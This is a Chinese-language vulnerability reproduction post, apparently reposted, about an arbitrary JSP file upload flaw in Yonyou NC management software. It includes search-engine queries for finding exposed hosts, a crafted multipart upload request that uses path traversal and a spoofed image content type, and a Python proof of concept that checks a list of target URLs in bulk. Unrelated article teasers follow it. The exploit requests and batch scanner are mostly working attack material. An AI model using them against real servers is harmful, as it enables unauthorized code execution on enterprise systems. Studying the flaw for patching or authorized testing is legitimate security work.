【漏洞复现】用友NC——文件上传漏洞

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。其uploadControl/uploadFile接口存在任意文件上传漏洞。

漏洞复现

1)信息收集
fofa:title=="YONYOU NC"
hunter:web.title=="YONYOU NC"
在这里插入图片描述
自是人生长恨水长东
在这里插入图片描述
2)构造数据包上传测试文件

POST /mp/initcfg/../uploadControl/uploadFile HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Content-Length: 373
Connection: close------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="rce.jsp"
Content-Type: image/jpeg<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="submit"上传
------WebKitFormBoundarygcflwtei--

在这里插入图片描述
代码解释

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="rce.jsp"
Content-Type: image/jpeg<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="submit"上传
------WebKitFormBoundarygcflwtei--

这段文本代表了一个使用multipart/form-data编码格式的HTTP POST请求体,用于上传文件。下面是各个部分的解释:

  1. ------WebKitFormBoundarygcflwtei:这是分隔符,用于区分不同的表单数据部分。每次请求的边界字符串通常是随机生成的,这里使用的是WebKitFormBoundarygcflwtei

  2. Content-Disposition: form-data; name="file"; filename="rce.jsp":这行指明了接下来的数据是一个文件类型的数据块,其名称为file,文件名为rce.jsp

  3. Content-Type: image/jpeg:尽管这里指定的Content-Type是image/jpeg,但实际上下面的内容并不是JPEG图像,而是一个JSP文件,其中包含了恶意的Java代码。这种类型的攻击称为“MIME类型欺骗”。

  4. <% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>:这是嵌入在JSP文件中的Java代码。当JSP文件被请求时,这段代码会被执行:

    • out.println("HelloWorldTest");:向页面输出HelloWorldTest字符串。
    • new java.io.File(application.getRealPath(request.getServletPath())).delete();:查找并删除当前请求的Servlet路径对应的物理文件。这可能用于删除上传的JSP文件,以清理痕迹或防止进一步的访问。
  5. ------WebKitFormBoundarygcflwtei:这是另一个分隔符,用于开始一个新的表单数据部分。

  6. Content-Disposition: form-data; name="submit":这一行指示下一个数据块是一个表单字段,名称为submit,通常代表提交按钮。

  7. 上传:这是提交按钮的值。

  8. ------WebKitFormBoundarygcflwtei--:这是请求体的结束标志,表示所有表单数据部分都已经发送完毕。

这种类型的POST请求常用于测试Web应用的安全性,尤其是寻找文件上传漏洞。如果服务器没有正确验证上传文件的内容类型和内容,攻击者就可以利用此类漏洞上传恶意文件,并在服务器上执行任意代码。

3)访问上传文件/mp/uploadFileDir/rce.jsp

GET /mp/uploadFileDir/rce.jsp HTTP/1.1
Host:ip
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

在这里插入图片描述

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import random
import string
import argparse
from urllib3.exceptions import InsecureRequestWarning# 设置颜色代码用于控制台输出
RED = '\033[91m'
RESET = '\033[0m'# 忽略不安全的SSL警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 随机生成字符串函数
def rand_base(n):return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))# 检查目标URL是否具有特定的RCE(远程代码执行)漏洞
def check_vulnerability(url):filename = rand_base(6)  # 生成随机文件名upload_url = url.rstrip('/') + '/mp/initcfg/%2e%2e/uploadControl/uploadFile'  # 构造上传URLupload_headers = {# 构造上传请求头'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36','Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarygcflwtei','Connection': 'close'}# 构造上传数据体upload_data = ('------WebKitFormBoundarygcflwtei\r\n'f'Content-Disposition: form-data; name="file"; filename="{filename}.jsp"\r\n''Content-Type: image/jpeg\r\n\r\n''<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n''------WebKitFormBoundarygcflwtei\r\n''Content-Disposition: form-data; name="submit"\r\n\r\n''上传\r\n''------WebKitFormBoundarygcflwtei--').encode('utf-8')try:# 发送上传请求response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)# 构造访问上传文件的URLaccess_url = url.rstrip('/') + f'/mp/uploadFileDir/{filename}.jsp'access_headers = {# 访问请求头'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'}# 发送访问请求response_access = requests.get(access_url, headers=access_headers, verify=False, timeout=30)# 检查响应状态和内容以判断是否存在漏洞if response_upload.status_code == 200 and response_access.status_code == 200 and "HelloWorldTest" in response_access.text:print(f"{RED}URL [{url}] 存在用友 NC uploadControluploadFile 文件上传致RCE漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout:print(f"URL [{url}] 请求超时,可能存在漏洞")except requests.RequestException as e:print(f"URL [{url}] 请求失败: {e}")# 主函数,解析命令行参数并调用检查函数
def main():parser = argparse.ArgumentParser(description='检测目标地址是否存在用友 NC uploadControluploadFile 文件上传致RCE漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')args = parser.parse_args()# 如果提供了单个URL,则检查该URLif args.url:if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)# 如果提供了包含URL的文件,则遍历文件中的每个URL进行检查elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()

运行截图
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/38504.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言 | Leetcode C语言题解之第207题课程表

题目&#xff1a; 题解&#xff1a; bool canFinish(int numCourses, int** prerequisites, int prerequisitesSize, int* prerequisitesColSize) {int** edges (int**)malloc(sizeof(int*) * numCourses);for (int i 0; i < numCourses; i) {edges[i] (int*)malloc(0);…

【Linux】部署NFS服务实现数据共享

&#x1f468;‍&#x1f393;博主简介 &#x1f3c5;CSDN博客专家   &#x1f3c5;云计算领域优质创作者   &#x1f3c5;华为云开发者社区专家博主   &#x1f3c5;阿里云开发者社区专家博主 &#x1f48a;交流社区&#xff1a;运维交流社区 欢迎大家的加入&#xff01…

4-数据提取方法2(xpath和lxml)(6节课学会爬虫)

4-数据提取方法2&#xff08;xpath和lxml&#xff09;&#xff08;6节课学会爬虫&#xff09; 1&#xff0c;Xpath语法&#xff1a;&#xff08;1&#xff09;选择节点&#xff08;标签&#xff09;&#xff08;2&#xff09;“//”:能从任意节点开始选择&#xff08;3&#xf…

计算机网络面试TCP篇之TCP三次握手与四次挥手

TCP 三次握手与四次挥手面试题 任 TCP 虐我千百遍&#xff0c;我仍待 TCP 如初恋。 巨巨巨巨长的提纲&#xff0c;发车&#xff01;发车&#xff01; PS&#xff1a;本次文章不涉及 TCP 流量控制、拥塞控制、可靠性传输等方面知识&#xff0c;这些知识在这篇&#xff1a; TCP …

第3章:数据结构

树 对稀疏矩阵的压缩方法有三种&#xff1a; 1、三元组顺序表 2、行逻辑连接的顺序表 3、十字链表 同义词才会占用同个位置&#xff0c;从而需要进行多次比较。这些关键字的第一个可以不是e的同义词&#xff0c;可以是排在e之前的关键字正好占了那个位置。 Dijkstra算法主要特点…

jenkins 发布服务到 windows服务器

1.环境准备 1.1 这些就不过多描述了&#xff0c;可以参考我的另一盘文章部署到linux。 jenkins 发布服务到linux服务器-CSDN博客 1.2 需要再windows上安装openssh 地址&#xff1a;Releases PowerShell/Win32-OpenSSH GitHub 到windows上执行安装&#xff0c;可以里面cmd命令…

Java的限制序列化和常用IO流

一.限制序列化 a.问题 出于安全考虑&#xff0c;对于一些比较敏感的信息(如用户密码)&#xff0c;应限制被序列化&#xff0c;如何实现? ◆使用transient关键字修改不需要序列化的对象属性 b.示例 ◆希望Person类对象中的年龄信息不被序列化 二.Java常用IO流有哪些&#x…

人脸特征68点识别 C++

1、加载一张图片 main函数&#xff1a; cv::Mat img cv::imread("5.jpg");vector<Point2f> points_vec dectectFace68(img);2、人脸68特征识别函数 在这里vector<Point2f> dectectFace68(Mat src) {vector<Point2f> points_vec;int* pResults …

【SpringCloud】Eureka源码解析 上

Eureka是一个服务发现与注册组件&#xff0c;它包含服务端和客户端&#xff0c;服务端管理服务的注册信息&#xff0c;客户端简化服务实例与服务端的交互。我们结合源码来分析下eureka组件的实现原理&#xff0c;内容分为上下两章&#xff0c;第一章分析eureka的服务注册&#…

ubuntu apt命令 出现红色弹框 Daemons using outdated libraries

1. 弹框没截图&#xff0c;是因为ubuntu22.04一个新特性导致的&#xff0c;由 needrestart 命令触发&#xff0c;默认情况是交互性质的&#xff0c;也就是会中断在这里需要手动要处理提示。 2. 修改/etc/needrestart/needrestart.conf 文件&#xff0c;将 #$nrconf{restart} …

大数据开发中如何计算用户留存及SQL示例

在大数据开发领域&#xff0c;用户留存是一个关键指标&#xff0c;它反映了产品吸引并保留用户的能力。 留存率的计算不仅有助于评估产品的健康状况&#xff0c;还能为产品优化和市场策略提供重要依据。 本文将详细介绍如何在大数据开发中计算用户留存&#xff0c;并附带具体…

精密空气加热器负载组

小型便携式 &#xff1a;精密空气加热器&#xff08;负载组&#xff09;能够对数据中心热通道/冷通道冷却系统进行全面测试。EAK 是一款 19 英寸机架式设备&#xff08;10U 高&#xff09;&#xff0c;可轻松安装到各种标准服务器机架中。通过集成可调节的热量水平&#xff08;…

C++ :lambda表达式

目录 lambda表达式书写格式&#xff1a; lambda表达式各部分说明&#xff1a; lambda的使用示范&#xff1a; 注意事项&#xff1a; 返回值类型可以省略&#xff0c;参数也可也省略&#xff1a; sort内部也可以直接写lambda表达式&#xff1a; 排序时利用lambda进行排序…

STM32MP135裸机编程:使用软件触发硬件复位

0 参考资料 STM32MP13xx参考手册.pdf 1 使用寄存器实现软件复位 1.1 复位电路概述 重点关注下面标红的路线&#xff1a; 通过这条路线可以清楚看到&#xff0c;我们可以通过设置RCC_MP_GRSTCSETR寄存器让RPCTL&#xff08;复位脉冲控制器&#xff09;给NRST&#xff08;硬件复…

苹果可能与谷歌合作推AI订阅服务;全国首个司法审判大模型在深圳上线

&#x1f989; AI新闻 &#x1f680; 苹果可能与谷歌合作推AI订阅服务 摘要&#xff1a;苹果宣布将与OpenAI合作推出Apple Intelligence&#xff0c;并有望在今年秋季与谷歌达成合作&#xff0c;接入Gemini。Meta的Llama因质量不佳被拒。苹果计划推出订阅模式的智能功能服务&…

kafka的工作原理与常见问题

定义 kafka是一个分布式的基于发布/订阅模式的消息队列&#xff08;message queue&#xff09;&#xff0c;主要应用于大数据的实时处理领域 消息队列工作原理 kafka的组成结构 kafka的基础架构主要有broker、生产者、消费者组构成&#xff0c;还包括zookeeper. 生产者负责发送…

算法09 日期相关模拟算法【C++实现】

这是《C算法宝典》算法篇的第09节文章啦~ 如果你之前没有太多C基础&#xff0c;请点击&#x1f449;专栏&#xff1a;C语法入门&#xff0c;如果你C语法基础已经炉火纯青&#xff0c;则可以进阶算法&#x1f449;专栏&#xff1a;算法知识和数据结构&#x1f449;专栏&#xff…

Java代码生成器(开源版本)

一、在线地址 Java在线代码生成器&#xff1a;在线访问 二、页面截图 三、核心功能 支持Mybatis、MybatisPlus、Jpa代码生成使用 antlr4 解析SQL语句&#xff0c;保证了SQL解析的成功率支持自定义包名、作者名信息支持自定义方法名、接口地址支持自定义选择是否生成某个方法…

数学建模(1):期末大乱炖

1 概述&#xff01;&#xff01; 1.1 原型和模型 原型&#xff1a;客观存在的研究对象称为原型&#xff0c;也称为“系统”、“过程”。 机械系统、电力系统、化学反应过程、生产销售过程等都是原型&#xff1b; 研究原型的结构和原理&#xff0c; 从而进行优化、预测、评价…

Jedis、Lettuce、RedisTemplate连接中间件

jedis就像jdbc一样&#xff0c;用于两个端直接的连接。 1.创建Spring项目 这里不过多赘述... 2.导入连接工具jedis 在pom文件中导入jedis的依赖。 <dependency><groupId>redis.clients</groupId><artifactId>jedis</artifactId><version&…